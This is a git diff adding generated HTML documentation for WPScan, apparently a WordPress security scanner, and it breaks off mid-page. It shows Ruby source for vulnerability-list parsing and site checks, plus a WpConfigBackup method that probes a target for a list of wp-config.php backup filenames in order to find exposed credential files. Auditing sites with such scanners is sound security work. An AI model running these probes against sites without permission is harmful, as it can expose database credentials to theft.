+          <li><a href="./UpdaterFactory.html">UpdaterFactory</a></li>
+        
+          <li><a href="./Vulnerable.html">Vulnerable</a></li>
+        
+          <li><a href="./WebSite.html">WebSite</a></li>
+        
+          <li><a href="./WpConfigBackup.html">WpConfigBackup</a></li>
+        
+          <li><a href="./WpDetector.html">WpDetector</a></li>
+        
+          <li><a href="./WpEnumerator.html">WpEnumerator</a></li>
+        
+          <li><a href="./WpFullPathDisclosure.html">WpFullPathDisclosure</a></li>
+        
+          <li><a href="./WpItem.html">WpItem</a></li>
+        
+          <li><a href="./WpLoginProtection.html">WpLoginProtection</a></li>
+        
+          <li><a href="./WpOptions.html">WpOptions</a></li>
+        
+          <li><a href="./WpPlugin.html">WpPlugin</a></li>
+        
+          <li><a href="./WpPlugins.html">WpPlugins</a></li>
+        
+          <li><a href="./WpReadme.html">WpReadme</a></li>
+        
+          <li><a href="./WpTarget.html">WpTarget</a></li>
+        
+          <li><a href="./WpTheme.html">WpTheme</a></li>
+        
+          <li><a href="./WpThemes.html">WpThemes</a></li>
+        
+          <li><a href="./WpTimthumbs.html">WpTimthumbs</a></li>
+        
+          <li><a href="./WpUser.html">WpUser</a></li>
+        
+          <li><a href="./WpUsernames.html">WpUsernames</a></li>
+        
+          <li><a href="./WpVersion.html">WpVersion</a></li>
+        
+          <li><a href="./WpVulnerability.html">WpVulnerability</a></li>
+        
+          <li><a href="./WpscanOptions.html">WpscanOptions</a></li>
+        
+        </ul>
+        <div id="no-class-search-results" style="display: none;">No matching classes.</div>
+      </div>
+
+      
+    </div>
+  </div>
+
+  <div id="documentation">
+    <h1 class="class">Vulnerable</h1>
+
+    <div id="description" class="description">
+      
+    </div><!-- description -->
+
+    
+    
+    
+    <div id="5Buntitled-5D" class="documentation-section">
+      
+
+      
+
+      
+
+      
+      <!-- Attributes -->
+      <div id="attribute-method-details" class="method-section section">
+        <h3 class="section-header">Attributes</h3>
+
+        
+        <div id="vulns_file-attribute-method" class="method-detail">
+          <a name="vulns_file"></a>
+          
+          <div class="method-heading attribute-method-heading">
+            <span class="method-name">vulns_file</span><span
+              class="attribute-access-type">[R]</span>
+          </div>
+
+          <div class="method-description">
+          
+          
+          
+          </div>
+        </div>
+        
+        <div id="vulns_xpath-attribute-method" class="method-detail">
+          <a name="vulns_xpath"></a>
+          
+          <div class="method-heading attribute-method-heading">
+            <span class="method-name">vulns_xpath</span><span
+              class="attribute-access-type">[R]</span>
+          </div>
+
+          <div class="method-description">
+          
+          
+          
+          </div>
+        </div>
+        
+      </div><!-- attribute-method-details -->
+      
+
+      <!-- Methods -->
+      
+      <div id="public-instance-method-details" class="method-section section">
+        <h3 class="section-header">Public Instance Methods</h3>
+
+      
+        <div id="vulnerabilities-method" class="method-detail ">
+          <a name="method-i-vulnerabilities"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">vulnerabilities</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>@return an array of <a href="WpVulnerability.html">WpVulnerability</a> (can
+be empty)</p>
+            
+
+            
+            <div class="method-source-code" id="vulnerabilities-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/vulnerable.rb, line 24</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">vulnerabilities</span>
+  <span class="ruby-identifier">vulnerabilities</span> = []
+
+  <span class="ruby-identifier">xml</span> = <span class="ruby-constant">Nokogiri</span><span class="ruby-operator">::</span><span class="ruby-constant">XML</span>(<span class="ruby-constant">File</span>.<span class="ruby-identifier">open</span>(<span class="ruby-ivar">@vulns_file</span>)) <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">config</span><span class="ruby-operator">|</span>
+    <span class="ruby-identifier">config</span>.<span class="ruby-identifier">noblanks</span>
+  <span class="ruby-keyword">end</span>
+
+  <span class="ruby-identifier">xml</span>.<span class="ruby-identifier">xpath</span>(<span class="ruby-ivar">@vulns_xpath</span>).<span class="ruby-identifier">each</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">node</span><span class="ruby-operator">|</span>
+    <span class="ruby-identifier">vulnerabilities</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-constant">WpVulnerability</span>.<span class="ruby-identifier">new</span>(
+      <span class="ruby-identifier">node</span>.<span class="ruby-identifier">search</span>(<span class="ruby-string">&quot;title&quot;</span>).<span class="ruby-identifier">text</span>,
+      <span class="ruby-identifier">node</span>.<span class="ruby-identifier">search</span>(<span class="ruby-string">&quot;reference&quot;</span>).<span class="ruby-identifier">text</span>,
+      <span class="ruby-identifier">node</span>.<span class="ruby-identifier">search</span>(<span class="ruby-string">&quot;type&quot;</span>).<span class="ruby-identifier">text</span>
+    )
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-identifier">vulnerabilities</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- vulnerabilities-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- vulnerabilities-method -->
+
+      
+      </div><!-- public-instance-method-details -->
+    
+    </div><!-- 5Buntitled-5D -->
+  
+
+  </div><!-- documentation -->
+
+  <div id="validator-badges">
+    <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
+    <p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
+      Rdoc Generator</a> 2</small>.</p>
+  </div>
+
+</body>
+</html>
+
diff --git a/doc/WebSite.html b/doc/WebSite.html
new file mode 100644
index 00000000..dcf80a41
--- /dev/null
+++ b/doc/WebSite.html
@@ -0,0 +1,386 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>Module: WebSite</title>
+
+  <link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
+
+  <script src="./js/jquery.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/thickbox-compressed.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/quicksearch.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/darkfish.js" type="text/javascript" charset="utf-8"></script>
+
+</head>
+<body id="top" class="module">
+
+  <div id="metadata">
+    <div id="home-metadata">
+      <div id="home-section" class="section">
+        <h3 class="section-header">
+          <a href="./index.html">Home</a>
+          <a href="./index.html#classes">Classes</a>
+          <a href="./index.html#methods">Methods</a>
+        </h3>
+      </div>
+    </div>
+
+    <div id="file-metadata">
+      <div id="file-list-section" class="section">
+        <h3 class="section-header">In Files</h3>
+        <div class="section-body">
+          <ul>
+          
+            <li><a href="./lib/wpscan/modules/web_site_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
+              class="thickbox" title="lib/wpscan/modules/web_site.rb">lib/wpscan/modules/web_site.rb</a></li>
+          
+          </ul>
+        </div>
+      </div>
+
+      
+    </div>
+
+    <div id="class-metadata">
+      
+
+      
+
+      
+
+      
+      <!-- Method Quickref -->
+      <div id="method-list-section" class="section">
+        <h3 class="section-header">Methods</h3>
+        <ul class="link-list">
+          
+          <li><a href="#method-i-is_online-3F">#is_online?</a></li>
+          
+          <li><a href="#method-i-is_wordpress-3F">#is_wordpress?</a></li>
+          
+          <li><a href="#method-i-redirection">#redirection</a></li>
+          
+          <li><a href="#method-i-xmlrpc_url">#xmlrpc_url</a></li>
+          
+        </ul>
+      </div>
+      
+
+      
+    </div>
+
+    <div id="project-metadata">
+      
+      
+      <div id="fileindex-section" class="section project-section">
+        <h3 class="section-header">Files</h3>
+        <ul>
+        
+          <li class="file"><a href="./CREDITS.html">CREDITS</a></li>
+        
+          <li class="file"><a href="./Gemfile.html">Gemfile</a></li>
+        
+          <li class="file"><a href="./README.html">README</a></li>
+        
+        </ul>
+      </div>
+      
+
+      <div id="classindex-section" class="section project-section">
+        <h3 class="section-header">Class/Module Index
+          <span class="search-toggle"><img src="./images/find.png"
+            height="16" width="16" alt="[+]"
+            title="show/hide quicksearch" /></span></h3>
+        <form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
+        <fieldset>
+          <legend>Quicksearch</legend>
+          <input type="text" name="quicksearch" value=""
+            class="quicksearch-field" />
+        </fieldset>
+        </form>
+
+        <ul class="link-list">
+        
+          <li><a href="./Array.html">Array</a></li>
+        
+          <li><a href="./Browser.html">Browser</a></li>
+        
+          <li><a href="./BruteForce.html">BruteForce</a></li>
+        
+          <li><a href="./CacheFileStore.html">CacheFileStore</a></li>
+        
+          <li><a href="./Exploit.html">Exploit</a></li>
+        
+          <li><a href="./Generate_List.html">Generate_List</a></li>
+        
+          <li><a href="./GitUpdater.html">GitUpdater</a></li>
+        
+          <li><a href="./Malwares.html">Malwares</a></li>
+        
+          <li><a href="./Object.html">Object</a></li>
+        
+          <li><a href="./RpcClient.html">RpcClient</a></li>
+        
+          <li><a href="./SvnUpdater.html">SvnUpdater</a></li>
+        
+          <li><a href="./Svn_Parser.html">Svn_Parser</a></li>
+        
+          <li><a href="./Updater.html">Updater</a></li>
+        
+          <li><a href="./UpdaterFactory.html">UpdaterFactory</a></li>
+        
+          <li><a href="./Vulnerable.html">Vulnerable</a></li>
+        
+          <li><a href="./WebSite.html">WebSite</a></li>
+        
+          <li><a href="./WpConfigBackup.html">WpConfigBackup</a></li>
+        
+          <li><a href="./WpDetector.html">WpDetector</a></li>
+        
+          <li><a href="./WpEnumerator.html">WpEnumerator</a></li>
+        
+          <li><a href="./WpFullPathDisclosure.html">WpFullPathDisclosure</a></li>
+        
+          <li><a href="./WpItem.html">WpItem</a></li>
+        
+          <li><a href="./WpLoginProtection.html">WpLoginProtection</a></li>
+        
+          <li><a href="./WpOptions.html">WpOptions</a></li>
+        
+          <li><a href="./WpPlugin.html">WpPlugin</a></li>
+        
+          <li><a href="./WpPlugins.html">WpPlugins</a></li>
+        
+          <li><a href="./WpReadme.html">WpReadme</a></li>
+        
+          <li><a href="./WpTarget.html">WpTarget</a></li>
+        
+          <li><a href="./WpTheme.html">WpTheme</a></li>
+        
+          <li><a href="./WpThemes.html">WpThemes</a></li>
+        
+          <li><a href="./WpTimthumbs.html">WpTimthumbs</a></li>
+        
+          <li><a href="./WpUser.html">WpUser</a></li>
+        
+          <li><a href="./WpUsernames.html">WpUsernames</a></li>
+        
+          <li><a href="./WpVersion.html">WpVersion</a></li>
+        
+          <li><a href="./WpVulnerability.html">WpVulnerability</a></li>
+        
+          <li><a href="./WpscanOptions.html">WpscanOptions</a></li>
+        
+        </ul>
+        <div id="no-class-search-results" style="display: none;">No matching classes.</div>
+      </div>
+
+      
+    </div>
+  </div>
+
+  <div id="documentation">
+    <h1 class="module">WebSite</h1>
+
+    <div id="description" class="description">
+      
+    </div><!-- description -->
+
+    
+    
+    
+    <div id="5Buntitled-5D" class="documentation-section">
+      
+
+      
+
+      
+
+      
+
+      <!-- Methods -->
+      
+      <div id="public-instance-method-details" class="method-section section">
+        <h3 class="section-header">Public Instance Methods</h3>
+
+      
+        <div id="is_online-3F-method" class="method-detail ">
+          <a name="method-i-is_online-3F"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">is_online?</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Checks if the remote website is up.</p>
+            
+
+            
+            <div class="method-source-code" id="is_online-3F-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/modules/web_site.rb, line 52</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">is_online?</span>
+  <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>.<span class="ruby-identifier">get</span>(<span class="ruby-ivar">@uri</span>.<span class="ruby-identifier">to_s</span>).<span class="ruby-identifier">code</span> <span class="ruby-operator">!=</span> <span class="ruby-value">0</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- is_online-3F-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- is_online-3F-method -->
+
+      
+        <div id="is_wordpress-3F-method" class="method-detail ">
+          <a name="method-i-is_wordpress-3F"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">is_wordpress?</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>check if the remote website is actually running wordpress.</p>
+            
+
+            
+            <div class="method-source-code" id="is_wordpress-3F-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/modules/web_site.rb, line 23</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">is_wordpress?</span>
+  <span class="ruby-identifier">wordpress</span> = <span class="ruby-keyword">false</span>
+
+  <span class="ruby-identifier">response</span> = <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>.<span class="ruby-identifier">get</span>(
+      <span class="ruby-identifier">login_url</span>(),
+      {<span class="ruby-value">:follow_location</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-keyword">true</span>, <span class="ruby-value">:max_redirects</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">2</span>}
+  )
+
+  <span class="ruby-keyword">if</span> <span class="ruby-identifier">response</span>.<span class="ruby-identifier">body</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp">%{WordPress}</span>
+    <span class="ruby-identifier">wordpress</span> = <span class="ruby-keyword">true</span>
+  <span class="ruby-keyword">else</span>
+    <span class="ruby-identifier">response</span> = <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>.<span class="ruby-identifier">get</span>(
+        <span class="ruby-identifier">xmlrpc_url</span>(),
+        {<span class="ruby-value">:follow_location</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-keyword">true</span>, <span class="ruby-value">:max_redirects</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">2</span>}
+    )
+
+    <span class="ruby-keyword">if</span> <span class="ruby-identifier">response</span>.<span class="ruby-identifier">body</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp">%{XML-RPC server accepts POST requests only}</span>
+      <span class="ruby-identifier">wordpress</span> = <span class="ruby-keyword">true</span>
+    <span class="ruby-keyword">end</span>
+  <span class="ruby-keyword">end</span>
+
+  <span class="ruby-identifier">wordpress</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- is_wordpress-3F-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- is_wordpress-3F-method -->
+
+      
+        <div id="redirection-method" class="method-detail ">
+          <a name="method-i-redirection"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">redirection</span><span
+              class="method-args">(url = nil)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>see if the remote url returns 30x redirect return a string with the
+redirection or nil</p>
+            
+
+            
+            <div class="method-source-code" id="redirection-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/modules/web_site.rb, line 58</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">redirection</span>(<span class="ruby-identifier">url</span> = <span class="ruby-keyword">nil</span>)
+  <span class="ruby-identifier">redirection</span> = <span class="ruby-keyword">nil</span>
+  <span class="ruby-identifier">url</span> <span class="ruby-operator">||=</span> <span class="ruby-ivar">@uri</span>.<span class="ruby-identifier">to_s</span>
+  <span class="ruby-identifier">response</span> = <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>.<span class="ruby-identifier">get</span>(<span class="ruby-identifier">url</span>)
+
+  <span class="ruby-keyword">if</span> <span class="ruby-identifier">response</span>.<span class="ruby-identifier">code</span> <span class="ruby-operator">==</span> <span class="ruby-value">301</span> <span class="ruby-operator">||</span> <span class="ruby-identifier">response</span>.<span class="ruby-identifier">code</span> <span class="ruby-operator">==</span> <span class="ruby-value">302</span>
+    <span class="ruby-identifier">redirection</span> = <span class="ruby-identifier">response</span>.<span class="ruby-identifier">headers_hash</span>[<span class="ruby-string">'location'</span>]
+  <span class="ruby-keyword">end</span>
+
+  <span class="ruby-identifier">redirection</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- redirection-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- redirection-method -->
+
+      
+        <div id="xmlrpc_url-method" class="method-detail ">
+          <a name="method-i-xmlrpc_url"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">xmlrpc_url</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="xmlrpc_url-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/modules/web_site.rb, line 47</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">xmlrpc_url</span>
+  <span class="ruby-ivar">@uri</span>.<span class="ruby-identifier">merge</span>(<span class="ruby-string">&quot;xmlrpc.php&quot;</span>).<span class="ruby-identifier">to_s</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- xmlrpc_url-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- xmlrpc_url-method -->
+
+      
+      </div><!-- public-instance-method-details -->
+    
+    </div><!-- 5Buntitled-5D -->
+  
+
+  </div><!-- documentation -->
+
+  <div id="validator-badges">
+    <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
+    <p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
+      Rdoc Generator</a> 2</small>.</p>
+  </div>
+
+</body>
+</html>
+
diff --git a/doc/WpConfigBackup.html b/doc/WpConfigBackup.html
new file mode 100644
index 00000000..dd5ec418
--- /dev/null
+++ b/doc/WpConfigBackup.html
@@ -0,0 +1,319 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>Module: WpConfigBackup</title>
+
+  <link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
+
+  <script src="./js/jquery.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/thickbox-compressed.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/quicksearch.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/darkfish.js" type="text/javascript" charset="utf-8"></script>
+
+</head>
+<body id="top" class="module">
+
+  <div id="metadata">
+    <div id="home-metadata">
+      <div id="home-section" class="section">
+        <h3 class="section-header">
+          <a href="./index.html">Home</a>
+          <a href="./index.html#classes">Classes</a>
+          <a href="./index.html#methods">Methods</a>
+        </h3>
+      </div>
+    </div>
+
+    <div id="file-metadata">
+      <div id="file-list-section" class="section">
+        <h3 class="section-header">In Files</h3>
+        <div class="section-body">
+          <ul>
+          
+            <li><a href="./lib/wpscan/modules/wp_config_backup_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
+              class="thickbox" title="lib/wpscan/modules/wp_config_backup.rb">lib/wpscan/modules/wp_config_backup.rb</a></li>
+          
+          </ul>
+        </div>
+      </div>
+
+      
+    </div>
+
+    <div id="class-metadata">
+      
+
+      
+
+      
+
+      
+      <!-- Method Quickref -->
+      <div id="method-list-section" class="section">
+        <h3 class="section-header">Methods</h3>
+        <ul class="link-list">
+          
+          <li><a href="#method-c-config_backup_files">::config_backup_files</a></li>
+          
+          <li><a href="#method-i-config_backup">#config_backup</a></li>
+          
+        </ul>
+      </div>
+      
+
+      
+    </div>
+
+    <div id="project-metadata">
+      
+      
+      <div id="fileindex-section" class="section project-section">
+        <h3 class="section-header">Files</h3>
+        <ul>
+        
+          <li class="file"><a href="./CREDITS.html">CREDITS</a></li>
+        
+          <li class="file"><a href="./Gemfile.html">Gemfile</a></li>
+        
+          <li class="file"><a href="./README.html">README</a></li>
+        
+        </ul>
+      </div>
+      
+
+      <div id="classindex-section" class="section project-section">
+        <h3 class="section-header">Class/Module Index
+          <span class="search-toggle"><img src="./images/find.png"
+            height="16" width="16" alt="[+]"
+            title="show/hide quicksearch" /></span></h3>
+        <form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
+        <fieldset>
+          <legend>Quicksearch</legend>
+          <input type="text" name="quicksearch" value=""
+            class="quicksearch-field" />
+        </fieldset>
+        </form>
+
+        <ul class="link-list">
+        
+          <li><a href="./Array.html">Array</a></li>
+        
+          <li><a href="./Browser.html">Browser</a></li>
+        
+          <li><a href="./BruteForce.html">BruteForce</a></li>
+        
+          <li><a href="./CacheFileStore.html">CacheFileStore</a></li>
+        
+          <li><a href="./Exploit.html">Exploit</a></li>
+        
+          <li><a href="./Generate_List.html">Generate_List</a></li>
+        
+          <li><a href="./GitUpdater.html">GitUpdater</a></li>
+        
+          <li><a href="./Malwares.html">Malwares</a></li>
+        
+          <li><a href="./Object.html">Object</a></li>
+        
+          <li><a href="./RpcClient.html">RpcClient</a></li>
+        
+          <li><a href="./SvnUpdater.html">SvnUpdater</a></li>
+        
+          <li><a href="./Svn_Parser.html">Svn_Parser</a></li>
+        
+          <li><a href="./Updater.html">Updater</a></li>
+        
+          <li><a href="./UpdaterFactory.html">UpdaterFactory</a></li>
+        
+          <li><a href="./Vulnerable.html">Vulnerable</a></li>
+        
+          <li><a href="./WebSite.html">WebSite</a></li>
+        
+          <li><a href="./WpConfigBackup.html">WpConfigBackup</a></li>
+        
+          <li><a href="./WpDetector.html">WpDetector</a></li>
+        
+          <li><a href="./WpEnumerator.html">WpEnumerator</a></li>
+        
+          <li><a href="./WpFullPathDisclosure.html">WpFullPathDisclosure</a></li>
+        
+          <li><a href="./WpItem.html">WpItem</a></li>
+        
+          <li><a href="./WpLoginProtection.html">WpLoginProtection</a></li>
+        
+          <li><a href="./WpOptions.html">WpOptions</a></li>
+        
+          <li><a href="./WpPlugin.html">WpPlugin</a></li>
+        
+          <li><a href="./WpPlugins.html">WpPlugins</a></li>
+        
+          <li><a href="./WpReadme.html">WpReadme</a></li>
+        
+          <li><a href="./WpTarget.html">WpTarget</a></li>
+        
+          <li><a href="./WpTheme.html">WpTheme</a></li>
+        
+          <li><a href="./WpThemes.html">WpThemes</a></li>
+        
+          <li><a href="./WpTimthumbs.html">WpTimthumbs</a></li>
+        
+          <li><a href="./WpUser.html">WpUser</a></li>
+        
+          <li><a href="./WpUsernames.html">WpUsernames</a></li>
+        
+          <li><a href="./WpVersion.html">WpVersion</a></li>
+        
+          <li><a href="./WpVulnerability.html">WpVulnerability</a></li>
+        
+          <li><a href="./WpscanOptions.html">WpscanOptions</a></li>
+        
+        </ul>
+        <div id="no-class-search-results" style="display: none;">No matching classes.</div>
+      </div>
+
+      
+    </div>
+  </div>
+
+  <div id="documentation">
+    <h1 class="module">WpConfigBackup</h1>
+
+    <div id="description" class="description">
+      
+    </div><!-- description -->
+
+    
+    
+    
+    <div id="5Buntitled-5D" class="documentation-section">
+      
+
+      
+
+      
+
+      
+
+      <!-- Methods -->
+      
+      <div id="public-class-method-details" class="method-section section">
+        <h3 class="section-header">Public Class Methods</h3>
+
+      
+        <div id="config_backup_files-method" class="method-detail ">
+          <a name="method-c-config_backup_files"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">config_backup_files</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>@return <a href="Array.html">Array</a></p>
+            
+
+            
+            <div class="method-source-code" id="config_backup_files-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/modules/wp_config_backup.rb, line 49</span>
+<span class="ruby-keyword">def</span> <span class="ruby-keyword">self</span>.<span class="ruby-identifier">config_backup_files</span>
+  <span class="ruby-node">%{
+    wp-config.php~ #wp-config.php# wp-config.php.save wp-config.php.swp wp-config.php.swo wp-config.php_bak
+    wp-config.bak wp-config.php.bak wp-config.save wp-config.old wp-config.php.old wp-config.php.orig
+    wp-config.orig wp-config.php.original wp-config.original
+  }</span> <span class="ruby-comment"># thanks to Feross.org for these</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- config_backup_files-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- config_backup_files-method -->
+
+      
+      </div><!-- public-class-method-details -->
+    
+      <div id="public-instance-method-details" class="method-section section">
+        <h3 class="section-header">Public Instance Methods</h3>
+
+      
+        <div id="config_backup-method" class="method-detail ">
+          <a name="method-i-config_backup"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">config_backup</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Checks to see if wp-config.php has a backup See <a
+href="http://www.feross.org/cmsploit/">www.feross.org/cmsploit/</a> return
+an array of backup config files url</p>
+            
+
+            
+            <div class="method-source-code" id="config_backup-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/modules/wp_config_backup.rb, line 24</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">config_backup</span>
+  <span class="ruby-identifier">found</span> = []
+  <span class="ruby-identifier">backups</span> = <span class="ruby-constant">WpConfigBackup</span>.<span class="ruby-identifier">config_backup_files</span>
+  <span class="ruby-identifier">browser</span> = <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>
+  <span class="ruby-identifier">hydra</span> = <span class="ruby-identifier">browser</span>.<span class="ruby-identifier">hydra</span>
+
+  <span class="ruby-identifier">backups</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">file</span><span class="ruby-operator">|</span>
+    <span class="ruby-identifier">file_url</span> = <span class="ruby-ivar">@uri</span>.<span class="ruby-identifier">merge</span>(<span class="ruby-constant">URI</span>.<span class="ruby-identifier">escape</span>(<span class="ruby-identifier">file</span>)).<span class="ruby-identifier">to_s</span>
+    <span class="ruby-identifier">request</span> = <span class="ruby-identifier">browser</span>.<span class="ruby-identifier">forge_request</span>(<span class="ruby-identifier">file_url</span>)
+
+    <span class="ruby-identifier">request</span>.<span class="ruby-identifier">on_complete</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">response</span><span class="ruby-operator">|</span>
+      <span class="ruby-keyword">if</span> <span class="ruby-identifier">response</span>.<span class="ruby-identifier">body</span>[<span class="ruby-regexp">%{define}</span>] <span class="ruby-keyword">and</span> <span class="ruby-keyword">not</span> <span class="ruby-identifier">response</span>.<span class="ruby-identifier">body</span>[<span class="ruby-regexp">%{&lt;\s?html}</span>]
+        <span class="ruby-identifier">found</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">file_url</span>
+      <span class="ruby-keyword">end</span>
+    <span class="ruby-keyword">end</span>
+
+    <span class="ruby-identifier">hydra</span>.<span class="ruby-identifier">queue</span>(<span class="ruby-identifier">request</span>)
+  <span class="ruby-keyword">end</span>
+
+  <span class="ruby-identifier">hydra</span>.<span class="ruby-identifier">run</span>
+
+  <span class="ruby-identifier">found</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- config_backup-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- config_backup-method -->
+
+      
+      </div><!-- public-instance-method-details -->
+    
+    </div><!-- 5Buntitled-5D -->
+  
+
+  </div><!-- documentation -->
+
+  <div id="validator-badges">
+    <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
+    <p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
+      Rdoc Generator</a> 2</small>.</p>
+  </div>
+
+</body>
+</html>
+
diff --git a/doc/WpDetector.html b/doc/WpDetector.html
new file mode 100644
index 00000000..55fb879f
--- /dev/null
+++ b/doc/WpDetector.html
@@ -0,0 +1,341 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>Class: WpDetector</title>
+
+  <link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
+
+  <script src="./js/jquery.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/thickbox-compressed.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/quicksearch.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/darkfish.js" type="text/javascript" charset="utf-8"></script>
+
+</head>
+<body id="top" class="class">
+
+  <div id="metadata">
+    <div id="home-metadata">
+      <div id="home-section" class="section">
+        <h3 class="section-header">
+          <a href="./index.html">Home</a>
+          <a href="./index.html#classes">Classes</a>
+          <a href="./index.html#methods">Methods</a>
+        </h3>
+      </div>
+    </div>
+
+    <div id="file-metadata">
+      <div id="file-list-section" class="section">
+        <h3 class="section-header">In Files</h3>
+        <div class="section-body">
+          <ul>
+          
+            <li><a href="./lib/wpscan/wp_detector_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
+              class="thickbox" title="lib/wpscan/wp_detector.rb">lib/wpscan/wp_detector.rb</a></li>
+          
+          </ul>
+        </div>
+      </div>
+
+      
+    </div>
+
+    <div id="class-metadata">
+      
+      <!-- Parent Class -->
+      <div id="parent-class-section" class="section">
+        <h3 class="section-header">Parent</h3>
+        
+        <p class="link"><a href="Object.html">Object</a></p>
+        
+      </div>
+      
+
+      
+
+      
+
+      
+      <!-- Method Quickref -->
+      <div id="method-list-section" class="section">
